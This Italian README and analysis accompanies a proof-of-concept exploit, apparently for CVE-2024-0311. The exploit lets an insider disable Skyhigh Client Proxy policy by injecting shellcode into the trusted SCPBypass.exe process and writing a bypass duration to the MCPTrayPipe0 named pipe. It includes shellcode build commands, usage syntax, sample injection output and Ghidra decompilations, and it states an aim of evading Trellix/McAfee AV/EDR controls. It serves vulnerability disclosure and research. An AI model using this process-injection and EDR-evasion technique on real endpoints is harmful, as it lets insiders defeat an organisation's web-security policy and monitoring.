
Exploit proof-of-concept per CVE-2024-0311 che bypassa la policy di Skyhigh Client Proxy tramite iniezione di processi e manipolazione di named pipe, con shellcode personalizzato per eludere le restrizioni AV/EDR.
Questa è una PoC per quella che credo sia la CVE-2024-0311, SB10418.
Un insider malintenzionato può aggirare la policy esistente di Skyhigh Client Proxy senza un codice di rilascio valido.
Tanti dettagli. Molto exploit. ¯\(ツ)/¯
La PoC si inietta in un processo SCPBypass.exe avviato dall'utente e scrive nella pipe di SCPService.exe: \\.\pipe\MCPTrayPipe0.
L'iniezione è necessaria perché, anche se la pipe è RW Everyone, WGUARDNT effettua alcuni controlli sull'eseguibile che scrive nella pipe (viene controllato il percorso dello scrittore), vedi sotto.
Viene fornito uno shellcode di esempio che consente l'esecuzione di WriteFile sulla pipe anche se Trellix/McAfee sono in esecuzione e intercettano/bloccano LoadLibrary.
Compilare in modalità Debug o Release da Visual Studio
Genera lo shellcode tramite:
cd shellcode && nasm loadlibrary.asm && xxd -i loadlibrary
quindi sostituisci lo shellcode in shellcode.c.
Injct.exe PID_OF_SCPBYPASS_EXE [stateoff] [debugon]
* stateoff: Don't call SetNamedPipeHandleState. The shellcode validate the pointer to SetNamedPipeHandleState before calling it..
* debugon: set a breakpoint into the shellcode (0xcc at offset 0) and spawn a thread to bind the named pipe. Don't use in production.
Output di esempio:
PS C:\Users\test\Desktop> .\Injct.exe 10640
> Target PID: 10640
> Allocating 4Kb in remote process: 0000020B61060000
> Writing shellcode to PID: 10640
> Injected shellcode at: 0000020B61060000
> Creating remote thread at 0000020B61060000
> Thread 12784 created.. waiting...
> Thread 12784 return value 0000000000000000
PS C:\Users\test\Desktop>
Se tutto è andato per il verso giusto, nei file di log SCP dovresti trovare una voce simile a questa:
10/30/24 : 10:18:55:185 - [INFO] CBypassPipeServer::run - SCP will be going into bypass mode for 1440 minutes
Questa sarà una breve analisi, perché nessuno ha tempo per le parole.
Prima di tutto, cos'è il client proxy Skyhigh?
Il software Skyhigh Security Client Proxy aiuta a proteggere gli utenti endpoint dalle minacce alla sicurezza che si presentano quando accedono al web dall'interno o dall'esterno della rete. Il software client, installato su endpoint che eseguono Microsoft Windows o macOS, reindirizza le richieste web o le lascia proseguire verso un proxy per il filtraggio. Il software server gira su una delle piattaforme di gestione: Trellix ePO SaaS o Trellix ePO Cloud.
Questo dovrebbe chiarire le cose.
Date le informazioni dell'advisory, non c'è molto su cui basarsi.
Ad essere sincero, stavo esaminando il servizio binario per individuare problemi facilmente sfruttabili per LPE quando ho visto CreateNamedPipe e mi sono incuriosito.
Ecco una rapida copia incolla del codice decompilato da Ghidra:
void CreateNamedPipe_FUN_14022d150(undefined8 param_1)
{
BOOL BVar1;
int atoi_out_lpBuffer;
HANDLE hNamedPipe;
undefined8 uVar2;
undefined auStackY_4c8 [32];
uint nBytesRead;
undefined4 local_474;
undefined4 local_470;
ulonglong nBytesRead_0;
_SECURITY_ATTRIBUTES local_460;
undefined pSecurityDescriptor [48];
char out_lpBuffer [1024];
ulonglong local_18;
local_18 = DAT_14069a448 ^ (ulonglong)auStackY_4c8;
InitializeSecurityDescriptor(pSecurityDescriptor,1);
/* BOOL SetSecurityDescriptorDacl(
[in, out] PSECURITY_DESCRIPTOR pSecurityDescriptor,
[in] BOOL bDaclPresent,
[in, optional] PACL pDacl,
[in] BOOL bDaclDefaulted
); */
SetSecurityDescriptorDacl(pSecurityDescriptor,1,(PACL)0x0,0);
local_460.bInheritHandle = 0;
local_460.lpSecurityDescriptor = pSecurityDescriptor;
local_460.nLength = 0x18;
/* HANDLE CreateNamedPipeW(
[in] LPCWSTR lpName,
[in] DWORD dwOpenMode,
[in] DWORD dwPipeMode,
[in] DWORD nMaxInstances,
[in] DWORD nOutBufferSize,
[in] DWORD nInBufferSize,
[in] DWORD nDefaultTimeOut,
[in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
);
CreateNamedPipeW("\\\\.\\pipe\\MCPTrayPipe0",PIPE_ACCESS_DUPLEX,
PIPE_TYPE_BYTE, 1, 0x4000, 0x4000, 0, lpSecurityAttribytes)
*/
hNamedPipe = CreateNamedPipeW(L"\\\\.\\pipe\\MCPTrayPipe0",3,0,1,0x4000,0x4000,0,&local_460);
while (hNamedPipe != (HANDLE)0xffffffffffffffff) {
BVar1 = ConnectNamedPipe(hNamedPipe,(LPOVERLAPPED)0x0);
if (BVar1 != 0) {
while (BVar1 = ReadFile(hNamedPipe,out_lpBuffer,1023,&nBytesRead,(LPOVERLAPPED)0x0),
BVar1 != 0) {
nBytesRead_0 = (ulonglong)nBytesRead;
if (1023 < nBytesRead_0) {
fail_or_fastfail_FUN_1404794f0();
}
out_lpBuffer[nBytesRead_0] = '\0';
if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
((byte)PTR_LOOP_14069a4e0[0x19] < 5)) {
local_474 = 0;
}
else {
TraceMessage_FUN_140027e70
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xe,&DAT_1405da058,out_lpBuffer);
local_474 = 1;
}
FUN_14022d510(param_1,1);
atoi_out_lpBuffer = atoi(out_lpBuffer);
uVar2 = FUN_140040210();
LOGFUN_1400402a0(uVar2,L"CBypassPipeServer::run",5,L"INFO");
if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
((byte)PTR_LOOP_14069a4e0[0x19] < 3)) {
local_470 = 0;
}
else {
TraceMessage_FUN_140027e10
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xf,&DAT_1405da058,atoi_out_lpBuffer
);
local_470 = 1;
}
FUN_140040530(2,L"CBypassPipeServer::run-SCP will be going into bypass mode for %d minutes",
atoi_out_lpBuffer);
FUN_14022d5b0(param_1,atoi_out_lpBuffer);
}
}
DisconnectNamedPipe(hNamedPipe);
}
FUN_140478b10(local_18 ^ (ulonglong)auStackY_4c8);
return;
}
Come possiamo vedere, una volta chiamata la funzione, viene inizializzata una nuova struct DACL e viene creata una nuova pipe \\.\pipe\MCPTrayPipe0 in byte mode.
Poi, finché l'handle a tale pipe è valido, il programma legge da essa e cerca di convertire i byte inviati da ASCII a int con atoi(out_lpBuffer).
Ignorando il fatto che esistono alternative migliori a atoi, supponendo che la chiamata a atoi non sia fallita, il valore convertito viene passato a FUN_14022d5b0:
undefined8 FUN_14022d5b0(longlong param1,int atoi_out_lpBuffer)
{
BOOL BVar1;
DWORD DVar2;
undefined8 uVar3;
LARGE_INTEGER local_10 [2];
local_10[0].QuadPart = (ulonglong)(uint)atoi_out_lpBuffer * -600000000;
BVar1 = SetWaitableTimer(*(HANDLE *)(param1 + 0xd8),local_10,0,(PTIMERAPCROUTINE)0x0,(LPVOID)0x0,0
);
if (BVar1 == 0) {
DVar2 = GetLastError();
uVar3 = FUN_140040210();
LOGFUN_1400402a0(uVar3,L"CBypassPipeServer::setBypassTimer",1,L"ERROR",L"Failed setting time %d"
,DVar2);
if ((((undefined **)PTR_LOOP_14069a4e0 != &PTR_LOOP_14069a4e0) &&
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) != 0)) && (1 < (byte)PTR_LOOP_14069a4e0[0x19]))
{
DVar2 = GetLastError();
TraceMessage_FUN_140027e10
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0x12,&DAT_1405da058,DVar2);
}
uVar3 = 0xffffffff;
}
else {
uVar3 = 0;
}
return uVar3;
}
che chiama SetWaitableTimer. Le stringhe qui hanno aiutato un po' a individuare il flusso desiderato.
Il punto principale è che il processo ScpService.exe non effettua alcun controllo su chi scrive cosa nella pipe: i dati vengono semplicemente considerati attendibili alla cieca e inoltrati.
Inoltre, controllando i permessi sulla pipe con accesschk, la pipe risulta RW Everyone.
Quindi l'exploit dovrebbe sostanzialmente fare quanto segue:
CreateFile(): ottenere un handle alla pipeSetNamedPipeHandleState(): impostare la modalità byteWriteFile(): scrivere i datiCloseHandle(): chiudere l'handleSi può fare letteralmente in poche righe di PowerShell. Facile vittoria, vero? No.
Se solo le cose fossero così semplici! Anche se tecnicamente sembrava funzionare così, l'apertura della pipe finiva sempre col timeout del client della pipe. Scavando un po' più a fondo, abbiamo notato che il servizio stava impostando qualche ACL da qualche altra parte.
Il descrittore di sicurezza predefinito usato da ScpService viene inizializzato come segue:
SECURITY_DESCRIPTOR sd = {};
InitializeSecurityDescriptor(&sd, 1);
SetSecurityDescriptorDacl(&sd, 1, NULL, NULL);
Questo rappresenta un DACL che non concede l'accesso a nessuno.
Se la discretionary access control list (DACL) che appartiene al descrittore di sicurezza di un oggetto è impostata su NULL, viene creata una DACL null. Una DACL null concede l'accesso completo a qualsiasi utente che lo richieda; il controllo di sicurezza normale non viene eseguito rispetto all'oggetto. Una DACL null non va confusa con una DACL vuota. Una DACL vuota è una DACL allocata e inizializzata correttamente che non contiene voci di controllo dell'accesso (ACE). Una DACL vuota non concede alcun accesso all'oggetto a cui è assegnata.
Molto probabilmente, l'ACE/DACL è delegato a \\.\WGUARDNT, che sembra essere un livello di protezione (McAfee?) responsabile di concedere l'accesso a un elenco limitato di oggetti:
.data:000000014069A510 off_14069A510 dq offset aScpserviceExe_3
.data:000000014069A510 ; DATA XREF: sub_14009A310+539↑o
.data:000000014069A510 ; sub_14009A310+674↑o ...
.data:000000014069A510 ; "scpservice*.exe"
.data:000000014069A518 dq offset aFrameworkservi ; "FrameworkService.exe"
.data:000000014069A520 dq offset aRegsvcExe ; "regsvc.exe"
.data:000000014069A528 dq offset aNaprdmgr64Exe ; "naprdmgr64.exe"
.data:000000014069A530 dq offset aNaprdmgrExe ; "naprdmgr.exe"
.data:000000014069A538 dq offset aUpdateruiExe ; "updaterui.exe"
.data:000000014069A540 dq offset aMcafeefireExe ; "McAfeeFire.exe"
.data:000000014069A548 dq offset aScpbypassExe ; "SCPBypass.exe"
.data:000000014069A550 dq offset aScpaboutExe ; "SCPAbout.exe"
.data:000000014069A558 dq offset aMfehidinExe ; "mfehidin.exe"
.data:000000014069A560 dq offset aMsiexecExe ; "msiexec.exe"
.data:000000014069A568 dq offset aMcshieldExe ; "mcshield.exe"
.data:000000014069A570 dq offset aMmcExe ; "mmc.exe"
.data:000000014069A578 dq offset aSystem_4 ; "system"
.data:000000014069A580 dq offset aServicesExe ; "services.exe"
.data:000000014069A588 dq offset aWinlogonExe ; "winlogon.exe"
.data:000000014069A590 dq offset aSvchostExe ; "svchost.exe"
Beh, se l'eseguibile che si connette viene controllato rispetto a un elenco di eseguibili/percorsi noti e, visto che SCPBypass.exe, eseguito con i privilegi del nostro utente, sembra essere in un elenco di app fidate, non potremmo semplicemente iniettare una DLL in SCPBypass.exe?
Assolutamente! Peccato che Trellix/McAfee ti blocchi la chiamata a LoadLibrary.
Da qui la InjmeDLL inutilizzata nel progetto.
Alla fine abbiamo optato per una soluzione rapida e sporca messa insieme da @wolfcod: iniettare semplicemente uno shellcode che faccia ciò che serve, dato che il processo ha comunque già tutto caricato. Invece di chiamare direttamente la syscall o provare altri trucchetti, questa semplice soluzione ha funzionato benissimo per il nostro caso d'uso.
Questo ha infine permesso di aggirare le restrizioni imposte dalla soluzione AV/EDR e di ottenere un exploit funzionante.
👋 Saluti.